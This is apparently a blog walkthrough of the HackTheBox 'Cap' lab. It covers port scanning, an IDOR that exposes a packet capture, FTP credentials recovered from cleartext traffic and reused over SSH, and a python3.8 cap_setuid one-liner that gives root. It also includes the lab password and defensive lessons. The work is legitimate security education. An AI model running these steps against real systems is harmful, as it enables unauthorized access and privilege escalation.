Skip to main content

Command Palette

Search for a command to run...

Attack Diary: HackTheBox — Cap

⚠️ Disclaimer: This writeup documents the exploitation of the "Cap" machine on HackTheBox — a legal lab environment designed for security learning and research. All techniques are presented for educational purposes only. Never use these techniques against systems you don't have authorization to test.

Updated
11 min read
Attack Diary: HackTheBox — Cap

Introduction

Today's target goes by the name Cap — an Easy-rated machine on HackTheBox. Easy or not, you never know until you try. This is my diary of the entire journey, from knowing nothing about the target to gaining full control.

Phase 1: Reconnaissance — Listen Before You Act

Every attack begins with information gathering. I didn't know what this target was running, which ports were open, or where the weaknesses were. First things first — listen.

First Knock — Naabu

I started with naabu, a fast port scanner by ProjectDiscovery, scanning all 65535 ports:

The result came back with only 2 ports: 21 (FTP) and 80 (HTTP).

┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -v

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running CONNECT scan with non root privileges
10.129.195.57:21
10.129.195.57:80
[INF] Found 2 ports on host 10.129.195.57 (10.129.195.57)

But I didn't trust it. Experience has taught me that a single scan is never enough — especially when scanning through a VPN to a lab environment, where packet loss is common. I ran it again with the -verify flag:

┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -verify   

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running CONNECT scan with non root privileges
^C[INF] Received signal: interrupt, exiting gracefully...
[INF] Creating resume file: /root/.config/naabu/resume.cfg
10.129.195.57:21
10.129.195.57:22
10.129.195.57:80
[INF] Found 3 ports on host 10.129.195.57 (10.129.195.57)

This time, port 22 (SSH) appeared. First lesson: never trust a single scan.

I ran one more scan, this time forcing SYN scan for accuracy:

┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -s s -verify

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running SYN scan with CAP_NET_RAW privileges
10.129.195.57:22
3f06:55e2:a81:c339:a0a:e2a:b2a9:8195:22
10.129.195.57:80
3f06:55e2:a81:c339:a0a:e2a:44ca:8195:80
10.129.195.57:21
3f06:55e2:a81:c339:a0a:e2a:4bb2:8195:21
[INF] Found 3 ports on host 10.129.195.57 (10.129.195.57)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:44ca:8195 (3f06:55e2:a81:c339:a0a:e2a:44ca:8195)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:b2a9:8195 (3f06:55e2:a81:c339:a0a:e2a:b2a9:8195)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:4bb2:8195 (3f06:55e2:a81:c339:a0a:e2a:4bb2:8195)

All 3 ports confirmed: 21, 22, 80. An interesting detail — naabu v2.5.0 reported Running CONNECT scan with non root privileges even though I was running as root. This turned out to be a tool bug. Only after adding -s s did it switch to a proper SYN scan, reporting Running SYN scan with CAP_NET_RAW privileges.

Looking Closer — Nmap

Now that I knew the target had 3 doors open, I needed to find out what was behind each one. Nmap with -sC -sV to enumerate services and run default scripts:

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -Pn -p 22,80,21 10.129.195.57 -T4        
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-06 08:28 -0400
Nmap scan report for 10.129.195.57
Host is up (0.28s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds

Results:

Port Service Version
21 FTP vsftpd 3.0.3
22 SSH OpenSSH 8.2p1 Ubuntu
80 HTTP Gunicorn — "Security Dashboard"

Three doors, three opportunities. FTP might allow anonymous login. SSH is a way in if I can find credentials. And a web app called "Security Dashboard" running on Gunicorn — sounds like something worth exploring.

Phase 1 complete. I know what the target is running. Time to dig deeper.

Phase 2: Scanning & Enumeration — Exploring the Target

I opened my browser and navigated to http://10.129.195.57. A security dashboard appeared — Security Dashboard — and I was already logged in as Nathan. The dashboard displayed statistics: Security Events, Failed Login Attempts, Port Scans. No login required — the application just let me in.

I started exploring the features. The /ip page displayed the output of ifconfig — leaking network interface information, internal IPs, and MAC addresses.

The /netstat page showed all active connections — I could even see the IPs of other users connecting to the server. In a real-world scenario, this information is gold for an attacker — it reveals internal network topology without any additional scanning.

But what caught my attention most was the /data/1 page. It displayed statistics for a network capture — packet counts, IP packets, TCP, UDP — along with a Download button to grab the PCAP file. And the URL contained a number: /data/1.

That number was an invitation.

Phase 3: Exploitation — When One Number Changes Everything

IDOR — Accessing Data That Isn't Mine

I changed the URL from /data/1 to /data/0.

The page loaded normally. No error message, no access check. But this time, the numbers were different — 72 packets instead of 1. This was clearly a capture from a different session, one that didn't belong to me. The server hadn't verified whether the current user was authorized to view this data — a textbook IDOR (Insecure Direct Object Reference) vulnerability.

I clicked Download.

PCAP Analysis — Secrets in the Packets

I opened the PCAP file in Wireshark. 72 packets — not many, but enough to tell a story. The first portion was normal HTTP traffic — someone browsing the web. But starting at packet 31, the story changed: an FTP session began.

FTP — a file transfer protocol born in an era when the internet didn't know what encryption was. Everything transmitted in plaintext, including usernames and passwords.

And there it was — clear as day:

Request: USER nathan

Response: 331 Please specify the password.

Request: PASS Buck3tH4TF0RM3!

Response: 230 Login successful.

I had credentials: nathan / Buck3tH4TF0RM3!

The FTP session also revealed that nathan tried to download notes.txt but failed (550 Failed to open file), then disconnected. It didn't matter — what I needed was already in my hands.

Verifying the Credentials — FTP First

With credentials in hand, I needed to verify they actually worked. I started with FTP since that's where they came from:

┌──(root㉿kali)-[/home/kali]
└─# ftp nathan@10.129.195.57
Connected to 10.129.195.57.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Password accepted. 230 Login successful. — the credentials were valid.

I ran ls -la to survey nathan's home directory. A few things stood out: .bash_history was symlinked to /dev/null — meaning command history was being discarded. Whether this was a security measure or an attempt to cover tracks, it told me someone had thought about operational security on this box.

ftp> ls -la
229 Entering Extended Passive Mode (|||5598|)
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 May 27  2021 .
drwxr-xr-x    3 0        0            4096 May 23  2021 ..
lrwxrwxrwx    1 0        0               9 May 15  2021 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23  2021 .cache
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27  2021 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Apr 06 11:29 user.txt
226 Directory send OK.

I spotted user.txt — the first flag. I downloaded it and confirmed: first objective complete.

ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||9303|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**************************************************************************************************************|    33      171.41 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.12 KiB/s)
ftp> bye
221 Goodbye.
                                                                                                                                                           
┌──(root㉿kali)-[/home/kali]
└─# cat user.txt                                               
ced975**************************

But FTP is limited. I needed a proper shell to go further. Time for SSH.

Phase 4: Privilege Escalation — The Cap That Gave It All Away

SSH access as nathan gave me a proper shell. First things first — confirm who I am:

┌──(root㉿kali)-[/home/kali]
└─# ssh nathan@10.129.195.57   
The authenticity of host '10.129.195.57 (10.129.195.57)' can't be established.
ED25519 key fingerprint is: SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:7: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.195.57' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
nathan@10.129.195.57's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Apr  6 17:24:59 UTC 2026

  System load:           0.0
  Usage of /:            36.8% of 8.73GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.195.57
  IPv6 address for eth0: dead:beef::250:56ff:fe95:f327

  => There are 3 zombie processes.


63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

A regular user. No special groups, no shortcuts. I checked if nathan had any sudo privileges:

nathan@cap:~$ sudo -l
[sudo] password for nathan: 
Sorry, user nathan may not run sudo on cap.

Dead end. But this machine is called Cap for a reason. Time to check Linux capabilities:

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

There it was. Python 3.8 had the cap_setuid capability. In simple terms, this means any process running through Python 3.8 can change its User ID to anything — including UID 0, which is root.

This is a dangerous misconfiguration. Linux capabilities were designed to give binaries specific elevated privileges without granting full root access. But cap_setuid on an interpreter like Python is essentially handing over the keys to the kingdom — because Python can execute arbitrary code.

One line was all it took:

nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Root. Game over.

oot@cap:~# cat /root/root.txt
470088**************************

Lessons Learned

This machine, despite being rated Easy, demonstrates a realistic attack chain that mirrors real-world breaches:

IDOR vulnerabilities are everywhere. A simple sequential ID in the URL gave access to another user's sensitive data. No authentication check, no authorization logic — just a number that anyone could change. In production systems, this is one of the most common and most overlooked vulnerabilities.

Plaintext protocols are a gift to attackers. FTP transmits everything — including credentials — in cleartext. Anyone capturing network traffic can read usernames and passwords as easily as reading a book. This is why modern environments enforce SFTP or FTPS.

Linux capabilities can be as dangerous as SUID. cap_setuid on an interpreter like Python is effectively the same as running it as root. System administrators should audit capabilities regularly using getcap and restrict them to only the binaries that absolutely need them.

Password reuse is the silent killer. Nathan used the same password for FTP and SSH. One compromised credential gave access to everything. In the real world, this is how attackers move laterally across entire networks.

In a real attack scenario, an attacker would proceed to establish persistence, set up command and control channels, and cover their tracks. But in this lab, the objective was clear: capture the flags and understand the vulnerabilities. Mission accomplished